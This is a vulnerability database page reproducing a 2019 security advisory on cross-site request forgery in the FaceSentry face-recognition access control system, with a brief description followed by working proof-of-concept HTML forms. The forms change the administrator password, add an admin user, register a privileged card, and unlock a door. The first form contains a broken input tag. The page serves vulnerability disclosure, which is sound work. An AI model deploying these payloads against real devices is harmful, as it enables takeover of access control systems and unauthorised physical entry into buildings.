| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| iWT FaceSentry Access Control System 安全漏洞 | 24 Dec 202500:00 | – | cnnvd | |
| CVE-2019-25242 | 24 Dec 202519:27 | – | cve | |
| CVE-2019-25242 FaceSentry Access Control System 6.4.8 Cross-Site Request Forgery via Web Interface | 24 Dec 202519:27 | – | cvelist | |
| EUVD-2025-205316 | 24 Dec 202521:30 | – | euvd | |
| CVE-2019-25242 | 24 Dec 202520:15 | – | nvd | |
| PT-2025-53328 | 24 Dec 202500:00 | – | ptsecurity | |
| CVE-2019-25242 FaceSentry Access Control System 6.4.8 Cross-Site Request Forgery via Web Interface | 24 Dec 202519:27 | – | vulnrichment |
<html><body><p>FaceSentry Access Control System 6.4.8 Cross-Site Request Forgery
Vendor: iWT Ltd.
Product web page: http://www.iwt.com.hk
Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
Firmware 5.7.2 build 568 (Algorithm A14)
Firmware 5.7.0 build 539 (Algorithm A14)
Summary: FaceSentry 5AN is a revolutionary smart identity
management appliance that offers entry via biometric face
identification, contactless smart card, staff ID, or QR-code.
The QR-code upgrade allows you to share an eKey with guests
while you're away from your Office and monitor all activity
via the web administration tool. Powered by standard PoE
(Power over Ethernet), FaceSEntry 5AN can be installed in
minutes with only 6 screws. FaceSentry 5AN is a true enterprise
grade access control or time-and-attendance appliance.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
Linux 3.4.113-sun8i (armv7l)
PHP/7.0.30-0ubuntu0.16.04.1
PHP/7.0.22-0ubuntu0.16.04.1
lighttpd/1.4.35
Armbian 5.38
Sunxi Linux (sun8i generation)
Orange Pi PC +
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5524
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5524.php
28.05.2019
--
CSRF change administrator password:
-----------------------------------
</p>
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/personalSetting.php" method="POST">
<input name="strInAction" type="hidden" value="updateUser"/>
<input name="strInUserID" type="hidden" value="administrator"/>
<input name="isChangePwd" type="hidden" value="1"/>
<input name="strInLanguage" type="hidden" value="Eng"/>
<input hidden="" name="strInPassword" type="hidden" value="t00tw00t />
<input type="/>
<input type="submit" value="Submit"/>
</form>
CSRF add admin:
---------------
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/userList.php?" method="POST">
<input name="strInAction" type="hidden" value="addUser"/>
<input name="strInUserID" type="hidden" value="Testinugs"/>
<input name="strInUserFunctionPermissionGroupID" type="hidden" value="Admin"/>
<input name="strInDescription" type="hidden" value="CSRFd"/>
<input name="strInLanguage" type="hidden" value="Eng"/>
<input name="strInPassword" type="hidden" value="123123"/>
<input name="strInConfirmPassword" type="hidden" value="123123"/>
<input name="strInStatus" type="hidden" value="Active"/>
<input type="submit" value="Submit"/>
</form>
Change administrator password via different path:
-------------------------------------------------
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/userList.php?" method="POST">
<input name="strInAction" type="hidden" value="updateUser"/>
<input name="strInPageNo" type="hidden" value="0"/>
<input name="strInUserID" type="hidden" value="administrator"/>
<input name="isChangePwd" type="hidden" value="1"/>
<input name="strInDescription" type="hidden" value="Default Sys. Admin"/>
<input name="strInUserFunctionPermissionGroupID" type="hidden" value="Admin"/>
<input name="strInLanguage" type="hidden" value="Eng"/>
<input name="strInStatus" type="hidden" value="Active"/>
<input name="strInPassword" type="hidden" value="123456"/>
<input name="strInConfirmPassword" type="hidden" value="123456"/>
<input name="strEditPageNo" type="hidden" value=""/>
<input type="submit" value="Submit"/>
</form>
Add special card:
-----------------
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/specialCard.php?" method="POST">
<input name="strInSpecialCardID" type="hidden" value="deadbeef"/>
<input name="strInSpecialCardStatus" type="hidden" value=""/>
<input name="strInSpecialCardEnrollHigh" type="hidden" value="1"/>
<input name="strInSpecialCardEnrollLow" type="hidden" value="1"/>
<input name="strInSpecialCardRescue" type="hidden" value="1"/>
<input name="strInSpecialCardOpenDoor" type="hidden" value="1"/>
<input name="strInSpecialCardReboot" type="hidden" value="1"/>
<input name="strInSpecialCardShutDown" type="hidden" value="1"/>
<input name="strInAction" type="hidden" value="addNewSpecialCard"/>
<input name="strInPageNo" type="hidden" value="0"/>
<input name="strEditPageNo" type="hidden" value=""/>
<input name="strInNewSpecialCard" type="hidden" value="deadbeef"/>
<input type="submit" value="Submit"/>
</form>
CSRF open door 0:
-----------------
<script>history.pushState('', 'CSRF', 'sentryInfo.php')</script>
<form action="http://192.168.11.1/openDoor.php?" method="POST">
<input name="strInAction" type="hidden" value="openDoor"/>
<input name="strInPageNo" type="hidden" value="0"/>
<input name="strInRestartAction" type="hidden" value=""/>
<input name="strPanelIDRestart=" type="hidden" value=""/>
<input name="strPanelRestartAction" type="hidden" value=""/>
<input type="submit" value="Submit"/>
</form>
</body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation